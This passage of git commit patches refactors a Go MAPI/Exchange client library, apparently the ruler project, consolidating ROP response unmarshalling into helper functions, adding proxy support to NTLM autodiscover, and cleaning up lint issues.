UnmarshalRops(execResponse.RopBuffer.Body, rops) + _, e := UnmarshalRops(execResponse.RopBuffer.Body, rops) return &setCriteriaResponse, e @@ -1035,7 +984,7 @@ func GetSearchCriteria(searchFolder []byte) (*RopGetSearchCriteriaResponse, erro openFolderResponse := RopOpenFolderResponse{} getCriteriaResponse := RopGetSearchCriteriaResponse{} rops := []RopResponse{&openFolderResponse, &getCriteriaResponse} - e := UnmarshalRops(execResponse.RopBuffer.Body, rops) + _, e := UnmarshalRops(execResponse.RopBuffer.Body, rops) return &getCriteriaResponse, e @@ -1080,7 +1029,7 @@ func SetFolderProperties(folderid []byte, propertyTags []TaggedPropertyValue) (* openFolderResponse := RopOpenFolderResponse{} propertiesResponse := RopSetPropertiesResponse{} rops := []RopResponse{&openFolderResponse, &propertiesResponse} - e := UnmarshalRops(execResponse.RopBuffer.Body, rops) + _, e := UnmarshalRops(execResponse.RopBuffer.Body, rops) return &propertiesResponse, e @@ -1148,7 +1097,7 @@ func CreateMessageRequest(folderID []byte, properties []TaggedPropertyValue, ass propertiesResponse := RopSetPropertiesResponse{} saveMessageResponse := RopSaveChangesMessageResponse{} rops := []RopResponse{&createMessageResponse, &propertiesResponse, &saveMessageResponse} - e := UnmarshalRops(execResponse.RopBuffer.Body, rops) + _, e := UnmarshalRops(execResponse.RopBuffer.Body, rops) return &saveMessageResponse, e @@ -1224,7 +1173,7 @@ func CreateMessageAttachment(folderid, messageid []byte, properties []TaggedProp saveAttachmentResp := RopSaveChangesAttachmentResponse{} saveMessageResponse := RopSaveChangesMessageResponse{} rops := []RopResponse{&getMessageResp, &getAttachmentTblResp, &createAttachmentResp, &propertiesResponse, &saveAttachmentResp, &saveMessageResponse} - e := UnmarshalRops(execResponse.RopBuffer.Body, rops) + _, e := UnmarshalRops(execResponse.RopBuffer.Body, rops) return &createAttachmentResp, e @@ -1278,7 +1227,7 @@ func WriteAttachmentProperty(folderid, messageid []byte, attachmentid uint32, pr setStreamSizeResp := RopSetStreamSizeResponse{} rops := []RopResponse{&getMessageResp, &getAttachmentTblResp, &getAttachmentResp, &openStreamResp, &setStreamSizeResp} - e := UnmarshalRops(execResponse.RopBuffer.Body, rops) + _, e := UnmarshalRops(execResponse.RopBuffer.Body, rops) if e != nil { return nil, e @@ -1382,7 +1331,7 @@ func WriteAttachmentProperty(folderid, messageid []byte, attachmentid uint32, pr saveAttachmentResp := RopSaveChangesAttachmentResponse{} saveMessageResponse := RopSaveChangesMessageResponse{} rops = []RopResponse{&commitStreamResp, &saveAttachmentResp, &saveMessageResponse} - e = UnmarshalRops(execResponse.RopBuffer.Body, rops) + _, e = UnmarshalRops(execResponse.RopBuffer.Body, rops) return &saveAttachmentResp, e @@ -1433,25 +1382,11 @@ func SetMessageProperties(folderid, messageid []byte, propertyTags []TaggedPrope return nil, &TransportError{err} } - bufPtr := 0 - var p int - var e error - getMessageResp := RopOpenMessageResponse{} - if p, e = getMessageResp.Unmarshal(execResponse.RopBuffer.Body[bufPtr:]); e != nil { - return nil, e - } - - bufPtr += p propertiesResponse := RopSetPropertiesResponse{} - if p, e = propertiesResponse.Unmarshal(execResponse.RopBuffer.Body[bufPtr:]); e != nil { - return nil, e - } - - bufPtr += p - saveMessageResponse := RopSaveChangesMessageResponse{} - _, e = saveMessageResponse.Unmarshal(execResponse.RopBuffer.Body[bufPtr:]) + rops := []RopResponse{&getMessageResp, &propertiesResponse, &saveMessageResponse} + _, e := UnmarshalRops(execResponse.RopBuffer.Body, rops) return &saveMessageResponse, e @@ -1490,8 +1425,8 @@ func SetPropertyFast(folderid []byte, messageid []byte, property TaggedPropertyV //we probably need to get the handles here to pass them down into the ServerObjectHandleTable serverHandles := execResponse.RopBuffer.Body[len(execResponse.RopBuffer.Body)-8:] messageHandles := serverHandles - //fmt.Printf("Handles: %x\n", serverHandles) - props := utils.BodyToBytes(property) //setProperties.Marshal() + + props := utils.BodyToBytes(property) //lets split it.. index := 0 @@ -1568,13 +1503,10 @@ func SaveMessageFast(inputHandle, responseHandle byte, serverHandles []byte) (*R return nil, &TransportError{err} } - bufPtr := 0 - saveMessageResponse := RopSaveChangesMessageResponse{} - if _, e := saveMessageResponse.Unmarshal(execResponse.RopBuffer.Body[bufPtr:]); e != nil { - return nil, e - } - return &saveMessageResponse, nil + rops := []RopResponse{&saveMessageResponse} + _, e := UnmarshalRops(execResponse.RopBuffer.Body, rops) + return &saveMessageResponse, e } @@ -1612,20 +1544,12 @@ func DeleteMessages(folderid []byte, messageIDCount int, messageIDs []byte) (*Ro return nil, &TransportError{err} } - bufPtr := 0 - openFolder := RopOpenFolderResponse{} - p, err := openFolder.Unmarshal(execResponse.RopBuffer.Body[bufPtr:]) - if err != nil { - return nil, err - } - bufPtr += p + openFolderResponse := RopOpenFolderResponse{} deleteMessageResponse := RopDeleteMessagesResponse{} + rops := []RopResponse{&openFolderResponse, &deleteMessageResponse} + _, e := UnmarshalRops(execResponse.RopBuffer.Body, rops) - if _, e := deleteMessageResponse.Unmarshal(execResponse.RopBuffer.Body[bufPtr:]); e != nil { - return nil, e - } - - return &deleteMessageResponse, nil + return &deleteMessageResponse, e } @@ -1676,52 +1600,27 @@ func OpenAttachment(folderid, messageid []byte, attachId uint32, columns []Prope return nil, &TransportError{err} } - bufPtr := 0 - var p int - var e error - - getMessageResp := RopOpenMessageResponse{} - if p, e = getMessageResp.Unmarshal(execResponse.RopBuffer.Body[bufPtr:]); e != nil { - return nil, e - } - bufPtr += p - + getMessageResponse := RopOpenMessageResponse{} getAttachmentTblResp := RopGetAttachmentTableResponse{} - if p, e = getAttachmentTblResp.Unmarshal(execResponse.RopBuffer.Body[bufPtr:]); e != nil { - return nil, e - } - bufPtr += p - getAttachmentResp := RopOpenAttachmentResponse{} - if p, e = getAttachmentResp.Unmarshal(execResponse.RopBuffer.Body[bufPtr:]); e != nil { - return nil, e - } - - bufPtr += p - - props := RopFastTransferSourceCopyPropertiesResponse{} - if p, e = props.Unmarshal(execResponse.RopBuffer.Body[bufPtr:]); e != nil { - return nil, e - } - - bufPtr += p - - pprops := RopFastTransferSourceGetBufferResponse{} - if p, e = pprops.Unmarshal(execResponse.RopBuffer.Body[bufPtr:]); e != nil { + propsResponse := RopFastTransferSourceCopyPropertiesResponse{} + ppropsResponse := RopFastTransferSourceGetBufferResponse{} + rops := []RopResponse{&getMessageResponse, &getAttachmentTblResp, &getAttachmentResp, &propsResponse, &ppropsResponse} + bufPtr, e := UnmarshalRops(execResponse.RopBuffer.Body, rops) + if e != nil { return nil, e } - //Rop release if we are done.. otherwise get rest of stream - if pprops.TransferStatus == 0x0001 { - buff, _ := FastTransferFetchStep(execResponse.RopBuffer.Body[bufPtr+p:]) + if ppropsResponse.TransferStatus == 0x0001 { + buff, _ := FastTransferFetchStep(execResponse.RopBuffer.Body[bufPtr:]) if buff != nil { - pprops.TransferBuffer = append(pprops.TransferBuffer, buff...) + ppropsResponse.TransferBuffer = append(ppropsResponse.TransferBuffer, buff...) } } ReleaseObject(0x01) - return &pprops, nil + return &ppropsResponse, e } @@ -1815,20 +1714,12 @@ func EmptyFolder(folderid []byte) (*RopEmptyFolderResponse, error) { return nil, &TransportError{err} } - bufPtr := 0 - openFolder := RopOpenFolderResponse{} - p, err := openFolder.Unmarshal(execResponse.RopBuffer.Body[bufPtr:]) - if err != nil { - return nil, err - } - bufPtr += p + openFolderResponse := RopOpenFolderResponse{} emptyFolderResponse := RopEmptyFolderResponse{} + rops := []RopResponse{&openFolderResponse, &emptyFolderResponse} + _, e := UnmarshalRops(execResponse.RopBuffer.Body, rops) - if _, e := emptyFolderResponse.Unmarshal(execResponse.RopBuffer.Body[bufPtr:]); e != nil { - return nil, e - } - - return &emptyFolderResponse, nil + return &emptyFolderResponse, e } @@ -1837,12 +1728,20 @@ func DeleteFolder(folderid []byte) (*RopDeleteFolderResponse, error) { execRequest := ExecuteRequest{} execRequest.Init() + getFolder := RopOpenFolderRequest{RopID: 0x02, LogonID: AuthSession.LogonID} + getFolder.InputHandleIndex = 0x00 + getFolder.OutputHandleIndex = 0x01 + getFolder.FolderID = folderid + getFolder.OpenModeFlags = 0x00 + + fullReq := getFolder.Marshal() + deleteFolder := RopDeleteFolderRequest{RopID: 0x1D, LogonID: AuthSession.LogonID} - deleteFolder.InputHandleIndex = 0x00 + deleteFolder.InputHandleIndex = 0x01 deleteFolder.FolderID = folderid deleteFolder.DeleteFolderFlags = 0x10 | 0x04 | 0x01 - fullReq := deleteFolder.Marshal() + fullReq = append(fullReq, deleteFolder.Marshal()...) execRequest.RopBuffer.ROP.ServerObjectHandleTable = []byte{0x00, 0x00, 0x00, AuthSession.LogonID, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF} execRequest.RopBuffer.ROP.RopsList = fullReq @@ -1853,13 +1752,11 @@ func DeleteFolder(folderid []byte) (*RopDeleteFolderResponse, error) { return nil, &TransportError{err} } - bufPtr := 0 + openFolderResponse := RopOpenFolderResponse{} deleteFolderResponse := RopDeleteFolderResponse{} - if _, e := deleteFolderResponse.Unmarshal(execResponse.RopBuffer.Body[bufPtr:]); e != nil { - return nil, e - } - - return &deleteFolderResponse, nil + rops := []RopResponse{&openFolderResponse, &deleteFolderResponse} + _, e := UnmarshalRops(execResponse.RopBuffer.Body, rops) + return &deleteFolderResponse, e } @@ -1925,14 +1822,15 @@ func GetFolderFromID(folderid []byte, columns []PropertyTag) (*RopOpenFolderResp if e != nil { return nil, nil, e } - //this should be the handle to the folder - //fmt.Println(execResponse.RopBuffer[len(execResponse.RopBuffer)-4:]) + if columns == nil { return &openFolder, nil, nil } bufPtr += p getPropertiesResponse := RopGetPropertiesSpecificResponse{} + //TODO + //Need to add an UnmarshalWithArgs to the RopResponse interface if we want to support this _, e = getPropertiesResponse.Unmarshal(execResponse.RopBuffer.Body[bufPtr:], columns) return &openFolder, &getPropertiesResponse, e @@ -1974,9 +1872,7 @@ func OpenMessage(folderid, messageid []byte) ([]byte, error) { if _, e = openMessage.Unmarshal(execResponse.RopBuffer.Body[bufPtr:]); e != nil { return nil, e } - //fmt.Printf("%x\n", execResponse.RopBuffer) return execResponse.RopBuffer.Body[len(execResponse.RopBuffer.Body)-4:], nil - } //GetMessage returns the specific fields from a message @@ -2043,7 +1939,8 @@ func GetMessage(folderid, messageid []byte, columns []PropertyTag) (GetPropertie return nil, e } bufPtr += p - + //TODO + //Need to add an UnmarshalWithArgs to the RopResponse interface if we want to support this if columns != nil { props := RopGetPropertiesSpecificResponse{} if _, e = props.Unmarshal(execResponse.RopBuffer.Body[bufPtr:], columns); e != nil { @@ -2051,7 +1948,8 @@ func GetMessage(folderid, messageid []byte, columns []PropertyTag) (GetPropertie } return &props, nil } - + //TODO + //Need to add an UnmarshalWithArgs to the RopResponse interface if we want to support this props := RopGetPropertiesAllResponse{} if _, e = props.Unmarshal(execResponse.RopBuffer.Body[bufPtr:], columns); e != nil { return nil, e @@ -2103,32 +2001,17 @@ func GetMessageFast(folderid, messageid []byte, columns []PropertyTag) (*RopFast return nil, &TransportError{err} } - bufPtr := 0 - var p int - var e error - - openMessage := RopOpenMessageResponse{} - if p, e = openMessage.Unmarshal(execResponse.RopBuffer.Body[bufPtr:]); e != nil { - return nil, e - } - bufPtr += p - + openMessageResponse := RopOpenMessageResponse{} props := RopFastTransferSourceCopyPropertiesResponse{} - if p, e = props.Unmarshal(execResponse.RopBuffer.Body[bufPtr:]); e != nil { - return nil, e - } - - bufPtr += p - pprops := RopFastTransferSourceGetBufferResponse{} - if p, e = pprops.Unmarshal(execResponse.RopBuffer.Body[bufPtr:]); e != nil { - return nil, e - } - + rops := []RopResponse{&openMessageResponse, &props, &pprops} + bufPtr, e := UnmarshalRops(execResponse.RopBuffer.Body, rops) //Rop release if we are done.. otherwise get rest of stream if pprops.TransferStatus == 0x0001 { - buff, _ := FastTransferFetchStep(execResponse.RopBuffer.Body[bufPtr+p:]) - + buff, err := FastTransferFetchStep(execResponse.RopBuffer.Body[bufPtr:]) + if err != nil { + return nil, err + } if buff != nil { pprops.TransferBuffer = append(pprops.TransferBuffer, buff...) } @@ -2136,7 +2019,7 @@ func GetMessageFast(folderid, messageid []byte, columns []PropertyTag) (*RopFast ReleaseObject(0x01) - return &pprops, nil + return &pprops, e } @@ -2160,30 +2043,23 @@ func FastTransferFetchStep(handles []byte) ([]byte, error) { return nil, &TransportError{err} } - bufPtr := 0 - - //fmt.Printf("%x\n", execResponse.RopBuffer[:]) pprops := RopFastTransferSourceGetBufferResponse{} - p, err := pprops.Unmarshal(execResponse.RopBuffer.Body[bufPtr:]) - if err != nil { - return nil, err - } - + rops := []RopResponse{&pprops} + bufPtr, e := UnmarshalRops(execResponse.RopBuffer.Body, rops) utils.Trace.Printf("Large transfer in progress. Status: %d ", pprops.TransferStatus) - //Rop release if we are done.. otherwise get rest of stream - //fmt.Printf("%x\n", pprops.TransferBuffer) - if pprops.TransferStatus == 0x0001 { - buff, _ := FastTransferFetchStep(execResponse.RopBuffer.Body[bufPtr+p:]) - //fmt.Println(string(buff), err) + buff, err := FastTransferFetchStep(execResponse.RopBuffer.Body[bufPtr:]) + if err != nil { + return nil, err + } if buff != nil { pprops.TransferBuffer = append(pprops.TransferBuffer, buff...) } } - return pprops.TransferBuffer, nil + return pprops.TransferBuffer, e } @@ -2214,7 +2090,7 @@ func GetContentsTableRequest(folderid []byte, tableFlags byte) (*RopGetContentsT getFolder.OutputHandleIndex = 0x01 getFolder.FolderID = folderid getFolder.OpenModeFlags = 0x00 - //fullReq := getFolder.Marshal() + fullReq = append(fullReq, getFolder.Marshal()...) getContents := RopGetContentsTableRequest{RopID: 0x05, LogonID: AuthSession.LogonID, InputHandleIndex: 0x01, OutputHandleIndex: 0x02, TableFlags: tableFlags} @@ -2231,25 +2107,16 @@ func GetContentsTableRequest(folderid []byte, tableFlags byte) (*RopGetContentsT return nil, nil, &TransportError{err} } - bufPtr := 0 - var p int - var e error - if bufPtr > len(execResponse.RopBuffer.Body) { + if len(execResponse.RopBuffer.Body) == 0 { return nil, nil, fmt.Errorf("Empty table") } - openFolder := RopOpenFolderResponse{} - if p, e = openFolder.Unmarshal(execResponse.RopBuffer.Body[bufPtr:]); e != nil { - return nil, nil, e - } - bufPtr += p + openFolderResponse := RopOpenFolderResponse{} ropContents := RopGetContentsTableResponse{} - if p, e = ropContents.Unmarshal(execResponse.RopBuffer.Body[bufPtr:]); e != nil { - return nil, nil, e - } - bufPtr += p + rops := []RopResponse{&openFolderResponse, &ropContents} + bufPtr, e := UnmarshalRops(execResponse.RopBuffer.Body, rops) - return &ropContents, execResponse.RopBuffer.Body[bufPtr:], nil + return &ropContents, execResponse.RopBuffer.Body[bufPtr:], e } @@ -2281,24 +2148,14 @@ func GetFolderHierarchy(folderid []byte) (*RopGetHierarchyTableResponse, []byte, return nil, nil, &TransportError{err} } - bufPtr := 0 - var p int - var e error - - openFolder := RopOpenFolderResponse{} - if p, e = openFolder.Unmarshal(execResponse.RopBuffer.Body[bufPtr:]); e != nil { - return nil, nil, e - } - bufPtr += p - + openFolderResponse := RopOpenFolderResponse{} hierarchyTableResponse := RopGetHierarchyTableResponse{} - if p, e = hierarchyTableResponse.Unmarshal(execResponse.RopBuffer.Body[bufPtr:]); e != nil { - return nil, nil, e - } + rops := []RopResponse{&openFolderResponse, &hierarchyTableResponse} + bufPtr, e := UnmarshalRops(execResponse.RopBuffer.Body, rops) - bufPtr += p + 8 //the serverhandle is the 3rd set of 4 bytes - we need this handle to access the hierarchy table + bufPtr += 8 //the serverhandle is the 3rd set of 4 bytes - we need this handle to access the hierarchy table - return &hierarchyTableResponse, execResponse.RopBuffer.Body[bufPtr:], nil + return &hierarchyTableResponse, execResponse.RopBuffer.Body[bufPtr:], e } @@ -2342,7 +2199,7 @@ func GetSubFolders(folderid []byte) (*RopQueryRowsResponse, error) { bufPtr += p rows := RopQueryRowsResponse{} - + //TODO if _, e = rows.Unmarshal(execResponse.RopBuffer.Body[bufPtr:], setColumns.PropertyTags); e != nil { return nil, e } @@ -2402,19 +2259,15 @@ func CreateFolderRequest(folderName string, hidden bool, ftype uint8) (*RopCreat return nil, ErrTransport //&TransportError{err} } - bufPtr := 0 createFolderResponse := RopCreateFolderResponse{} - if _, e := createFolderResponse.Unmarshal(execResponse.RopBuffer.Body[bufPtr:]); e != nil { - return nil, e - } + rops := []RopResponse{&createFolderResponse} + if hidden == true { propResp := RopSetPropertiesResponse{} - if _, e := propResp.Unmarshal(execResponse.RopBuffer.Body[bufPtr:]); e != nil { - return nil, e - } + rops = append(rops, &propResp) } - - return &createFolderResponse, nil + _, e := UnmarshalRops(execResponse.RopBuffer.Body, rops) + return &createFolderResponse, e } @@ -2493,7 +2346,7 @@ func GetTableContents(folderid []byte, assoc bool, columns []PropertyTag) (*RopQ bufPtr += p rows := RopQueryRowsResponse{} - + //TODO if _, e = rows.Unmarshal(execResponse.RopBuffer.Body[bufPtr:], setColumns.PropertyTags); e != nil { return nil, e } @@ -2569,7 +2422,7 @@ func FetchRules(columns []PropertyTag) (*RopQueryRowsResponse, error) { } rows := RopQueryRowsResponse{} - + //TODO _, err = rows.Unmarshal(execResponse.RopBuffer.Body[bufPtr:], columns) if err != nil { return nil, err @@ -2714,10 +2567,10 @@ func ExecuteMailRuleDelete(ruleid []byte) error { } //process the exec response - bufPtr := 0 delRuleResponse := RopModifyRulesResponse{} - _, err = delRuleResponse.Unmarshal(execResponse.RopBuffer.Body[bufPtr:]) - return err + rops := []RopResponse{&delRuleResponse} + _, e := UnmarshalRops(execResponse.RopBuffer.Body, rops) + return e } //Ping send a PING message to the server @@ -2745,6 +2598,7 @@ func DecodeGetTableResponse(resp []byte, columns []PropertyTag) (*RopGetProperti if err != nil { return nil, err } + //TODO properties := RopGetPropertiesSpecificResponse{} _, err = properties.Unmarshal(resp[pos:], columns) diff --git a/mapi/ropbuffers.go b/mapi/ropbuffers.go index 922f64c..f43850d 100644 --- a/mapi/ropbuffers.go +++ b/mapi/ropbuffers.go @@ -8,17 +8,16 @@ func UnmarshalRop(resp []byte, rop RopResponse) (int, error) { //UnmarshalRops is a wrapper function to keep track of unmarshaling logic and location in our buffer //takes an array of the expected responses and unmarshals into each one. Returning the first error that occurs, //or nil if no error -func UnmarshalRops(resp []byte, rops []RopResponse) (err error) { - bufPtr := 0 +func UnmarshalRops(resp []byte, rops []RopResponse) (bufPtr int, err error) { p := 0 for i := range rops { p, err = rops[i].Unmarshal(resp[bufPtr:]) if err != nil { - return err + return -1, err } bufPtr += p } - return err + return } From cf9167f983d87ffd5f60c998efbe0b925cba7a32 Mon Sep 17 00:00:00 2001 From: Etienne Stalmans Date: Fri, 8 Sep 2017 16:12:57 +0200 Subject: [PATCH 26/35] Added Proxy passing to httpNTLM transport for autodiscover. This fixes https://github.com/sensepost/ruler/issues/52 --- autodiscover/autodiscover.go | 9 ++++++--- 1 file changed, 6 insertions(+), 3 deletions(-) diff --git a/autodiscover/autodiscover.go b/autodiscover/autodiscover.go index 000905b..cb44069 100644 --- a/autodiscover/autodiscover.go +++ b/autodiscover/autodiscover.go @@ -248,6 +248,7 @@ func autodiscover(domain string, mapi bool) (*utils.AutodiscoverResp, string, er if SessionConfig.Basic == false { //check if this is a first request or a redirect //create an ntml http client + client = http.Client{ Transport: &httpntlm.NtlmTransport{ Domain: SessionConfig.Domain, @@ -256,9 +257,11 @@ func autodiscover(domain string, mapi bool) (*utils.AutodiscoverResp, string, er NTHash: SessionConfig.NTHash, Insecure: SessionConfig.Insecure, CookieJar: SessionConfig.CookieJar, + Proxy: SessionConfig.Proxy, }, Jar: SessionConfig.CookieJar, } + } var autodiscoverURL string @@ -330,9 +333,9 @@ func autodiscover(domain string, mapi bool) (*utils.AutodiscoverResp, string, er defer resp.Body.Close() - if resp.StatusCode == 401 || resp.StatusCode == 403 { - return nil, autodiscoverURL, fmt.Errorf("Access denied. Check your credentials") - } + if resp.StatusCode == 401 || resp.StatusCode == 403 { + return nil, autodiscoverURL, fmt.Errorf("Access denied. Check your credentials") + } body, err := ioutil.ReadAll(resp.Body) if err != nil { From ad486d45eedf59478dc8a5bfa53e3a3a26f87d07 Mon Sep 17 00:00:00 2001 From: Etienne Stalmans Date: Fri, 8 Sep 2017 16:31:39 +0200 Subject: [PATCH 27/35] Added UnmarshalPropertyRops() allowing for similar behavior to UnmarshalRops(). Keeps track of current location in buffer etc. Allows for specifying the columns that have been set on properties. --- mapi/mapi.go | 130 +++++++++++++-------------------------------- mapi/ropbuffers.go | 17 ++++++ 2 files changed, 55 insertions(+), 92 deletions(-) diff --git a/mapi/mapi.go b/mapi/mapi.go index 8be9775..3f6ae5d 100644 --- a/mapi/mapi.go +++ b/mapi/mapi.go @@ -1816,24 +1816,19 @@ func GetFolderFromID(folderid []byte, columns []PropertyTag) (*RopOpenFolderResp return nil, nil, &TransportError{err} } - bufPtr := 0 - openFolder := RopOpenFolderResponse{} - p, e := openFolder.Unmarshal(execResponse.RopBuffer.Body[bufPtr:]) - if e != nil { - return nil, nil, e - } + openFolderResponse := RopOpenFolderResponse{} + rops := []RopResponse{&openFolderResponse} + bufPtr, e := UnmarshalRops(execResponse.RopBuffer.Body, rops) - if columns == nil { - return &openFolder, nil, nil + if columns == nil || e != nil { + return &openFolderResponse, nil, e } - bufPtr += p getPropertiesResponse := RopGetPropertiesSpecificResponse{} - //TODO - //Need to add an UnmarshalWithArgs to the RopResponse interface if we want to support this - _, e = getPropertiesResponse.Unmarshal(execResponse.RopBuffer.Body[bufPtr:], columns) + propRops := []GetProperties{&getPropertiesResponse} + _, e = UnmarshalPropertyRops(execResponse.RopBuffer.Body[bufPtr:], propRops, columns) - return &openFolder, &getPropertiesResponse, e + return &openFolderResponse, &getPropertiesResponse, e } @@ -1928,33 +1923,23 @@ func GetMessage(folderid, messageid []byte, columns []PropertyTag) (GetPropertie return nil, &TransportError{err} } - bufPtr := 0 - var p int - var e error - - //fmt.Println(execResponse.RopBuffer.Body[bufPtr:]) - - openMessage := RopOpenMessageResponse{} - if p, e = openMessage.Unmarshal(execResponse.RopBuffer.Body[bufPtr:]); e != nil { + openMessageResponse := RopOpenMessageResponse{} + rops := []RopResponse{&openMessageResponse} + bufPtr, e := UnmarshalRops(execResponse.RopBuffer.Body, rops) + if e != nil { return nil, e } - bufPtr += p - //TODO - //Need to add an UnmarshalWithArgs to the RopResponse interface if we want to support this if columns != nil { props := RopGetPropertiesSpecificResponse{} - if _, e = props.Unmarshal(execResponse.RopBuffer.Body[bufPtr:], columns); e != nil { - return nil, e - } - return &props, nil + propRops := []GetProperties{&props} + _, e = UnmarshalPropertyRops(execResponse.RopBuffer.Body[bufPtr:], propRops, columns) + return &props, e } - //TODO - //Need to add an UnmarshalWithArgs to the RopResponse interface if we want to support this + props := RopGetPropertiesAllResponse{} - if _, e = props.Unmarshal(execResponse.RopBuffer.Body[bufPtr:], columns); e != nil { - return nil, e - } - return &props, nil + propRops := []GetProperties{&props} + _, e = UnmarshalPropertyRops(execResponse.RopBuffer.Body[bufPtr:], propRops, columns) + return &props, e } @@ -2189,21 +2174,19 @@ func GetSubFolders(folderid []byte) (*RopQueryRowsResponse, error) { return nil, &TransportError{err} } - bufPtr := 0 - var p int - var e error setColumnsResp := RopSetColumnsResponse{} - if p, e = setColumnsResp.Unmarshal(execResponse.RopBuffer.Body[bufPtr:]); e != nil { + rops := []RopResponse{&setColumnsResp} + bufPtr, e := UnmarshalRops(execResponse.RopBuffer.Body, rops) + if e != nil { return nil, e } - bufPtr += p - rows := RopQueryRowsResponse{} - //TODO + //propRops := []GetProperties{&rows} + //_, e = UnmarshalPropertyRops(execResponse.RopBuffer.Body[bufPtr:], propRops, setColumns.PropertyTags) if _, e = rows.Unmarshal(execResponse.RopBuffer.Body[bufPtr:], setColumns.PropertyTags); e != nil { return nil, e } - return &rows, nil + return &rows, e } @@ -2335,23 +2318,19 @@ func GetTableContents(folderid []byte, assoc bool, columns []PropertyTag) (*RopQ return nil, &TransportError{err} } - bufPtr := 0 - var p int - var e error - setColumnsResp := RopSetColumnsResponse{} - if p, e = setColumnsResp.Unmarshal(execResponse.RopBuffer.Body[bufPtr:]); e != nil { + rops := []RopResponse{&setColumnsResp} + bufPtr, e := UnmarshalRops(execResponse.RopBuffer.Body, rops) + if e != nil { return nil, e } - bufPtr += p - rows := RopQueryRowsResponse{} //TODO if _, e = rows.Unmarshal(execResponse.RopBuffer.Body[bufPtr:], setColumns.PropertyTags); e != nil { return nil, e } - return &rows, nil + return &rows, e } @@ -2405,30 +2384,21 @@ func FetchRules(columns []PropertyTag) (*RopQueryRowsResponse, error) { return nil, &TransportError{err} } - bufPtr := 0 rulesTableResponse := RopGetRulesTableResponse{} - p, err := rulesTableResponse.Unmarshal(execResponse.RopBuffer.Body[bufPtr:]) - bufPtr += p - - if err != nil { - return nil, err - } - cols := RopSetColumnsResponse{} - p, err = cols.Unmarshal(execResponse.RopBuffer.Body[bufPtr:]) - bufPtr += p - - if err != nil { - return nil, err + colsResponse := RopSetColumnsResponse{} + rops := []RopResponse{&rulesTableResponse, &colsResponse} + bufPtr, e := UnmarshalRops(execResponse.RopBuffer.Body, rops) + if e != nil { + return nil, e } - rows := RopQueryRowsResponse{} //TODO - _, err = rows.Unmarshal(execResponse.RopBuffer.Body[bufPtr:], columns) - if err != nil { - return nil, err + _, e = rows.Unmarshal(execResponse.RopBuffer.Body[bufPtr:], columns) + if e != nil { + return nil, e } - return &rows, nil + return &rows, e } @@ -2585,30 +2555,6 @@ func Ping() { } } -//DecodeGetTableResponse function Unmarshals the various parts of a getproperties response (this includes the initial openfolder request) -//and returns the RopGetPropertiesSpecificResponse object to us, we can then cycle through the rows to view the values -//needs the list of columns that were supplied in the initial request. -func DecodeGetTableResponse(resp []byte, columns []PropertyTag) (*RopGetPropertiesSpecificResponse, error) { - pos := 10 - - var err error - - openFolderResp := RopOpenFolderResponse{} - pos, err = openFolderResp.Unmarshal(resp[pos:]) - if err != nil { - return nil, err - } - //TODO - properties := RopGetPropertiesSpecificResponse{} - _, err = properties.Unmarshal(resp[pos:], columns) - - if err != nil { - return nil, err - } - - return &properties, nil -} - //DecodeBufferToRows returns the property rows contained in the buffer, takes a list //of propertytags. These are needed to figure out how to split the columns in the rows func DecodeBufferToRows(buff []byte, cols []PropertyTag) []PropertyRow { diff --git a/mapi/ropbuffers.go b/mapi/ropbuffers.go index f43850d..8feaa3f 100644 --- a/mapi/ropbuffers.go +++ b/mapi/ropbuffers.go @@ -21,3 +21,20 @@ func UnmarshalRops(resp []byte, rops []RopResponse) (bufPtr int, err error) { return } + +//UnmarshalPropertyRops is a wrapper function to keep track of unmarshaling logic and location in our buffer +//takes an array of the expected responses and the columns these have, and unmarshals into each one. Returning the first error that occurs, +//or nil if no error +func UnmarshalPropertyRops(resp []byte, rops []GetProperties, columns []PropertyTag) (bufPtr int, err error) { + p := 0 + + for i := range rops { + p, err = rops[i].Unmarshal(resp[bufPtr:], columns) + if err != nil { + return -1, err + } + bufPtr += p + } + + return +} From e70b8c4c7915607b397a9693e6cff3f97fad43df Mon Sep 17 00:00:00 2001 From: Etienne Stalmans Date: Fri, 8 Sep 2017 16:55:28 +0200 Subject: [PATCH 28/35] some linting stuff... clean up that code --- mapi/datastructs-abk.go | 1 + mapi/datastructs.go | 2 +- mapi/restrictionDatastructs.go | 1 + mapi/ropbuffers.go | 5 ----- 4 files changed, 3 insertions(+), 6 deletions(-) diff --git a/mapi/datastructs-abk.go b/mapi/datastructs-abk.go index 1840a7c..1810edb 100644 --- a/mapi/datastructs-abk.go +++ b/mapi/datastructs-abk.go @@ -15,6 +15,7 @@ type BindRequest struct { AuxiliaryBuffer []byte } +//BindRequestRPC the bind request used for abk type BindRequestRPC struct { Flags uint32 State []byte //optional 36 bytes diff --git a/mapi/datastructs.go b/mapi/datastructs.go index c0e0256..9780f29 100644 --- a/mapi/datastructs.go +++ b/mapi/datastructs.go @@ -317,7 +317,7 @@ type RopGetPropertiesListResponse struct { PropertyTags []PropertyTag } -//RopGetPropertiesSpecificRequeststruct to get propertiesfor a folder +//RopGetPropertiesSpecificRequest struct to get propertiesfor a folder type RopGetPropertiesSpecificRequest struct { RopID uint8 //0x07 LogonID uint8 diff --git a/mapi/restrictionDatastructs.go b/mapi/restrictionDatastructs.go index 332d933..dbda507 100644 --- a/mapi/restrictionDatastructs.go +++ b/mapi/restrictionDatastructs.go @@ -42,6 +42,7 @@ const ( TWIRTOTALLY = 0x08000000 ) +//Restriction interface to generalise restrictions type Restriction interface { Marshal() []byte } diff --git a/mapi/ropbuffers.go b/mapi/ropbuffers.go index 8feaa3f..db5d687 100644 --- a/mapi/ropbuffers.go +++ b/mapi/ropbuffers.go @@ -1,10 +1,5 @@ package mapi -func UnmarshalRop(resp []byte, rop RopResponse) (int, error) { - p, err := rop.Unmarshal(resp) - return p, err -} - //UnmarshalRops is a wrapper function to keep track of unmarshaling logic and location in our buffer //takes an array of the expected responses and unmarshals into each one. Returning the first error that occurs, //or nil if no error From f9f9132b5e181deb1934cd7e37953cab6572093f Mon Sep 17 00:00:00 2001 From: Etienne Stalmans Date: Mon, 11 Sep 2017 10:31:13 +0200 Subject: [PATCH 29/35] More code refactor. Extend the search functionality a little. Add printing of client-side rules to "display" function for rules. * TODO: search needs more attention. Trying to search HTMLBody results in MAPI_E_TOO_COMPLEX exception --- mapi/datastructs.go | 14 ++++++ mapi/mapi.go | 31 ++++++------ mapi/restrictionDatastructs.go | 13 +++++ ruler.go | 86 +++++++++++++++++++++++++++------- 4 files changed, 109 insertions(+), 35 deletions(-) diff --git a/mapi/datastructs.go b/mapi/datastructs.go index 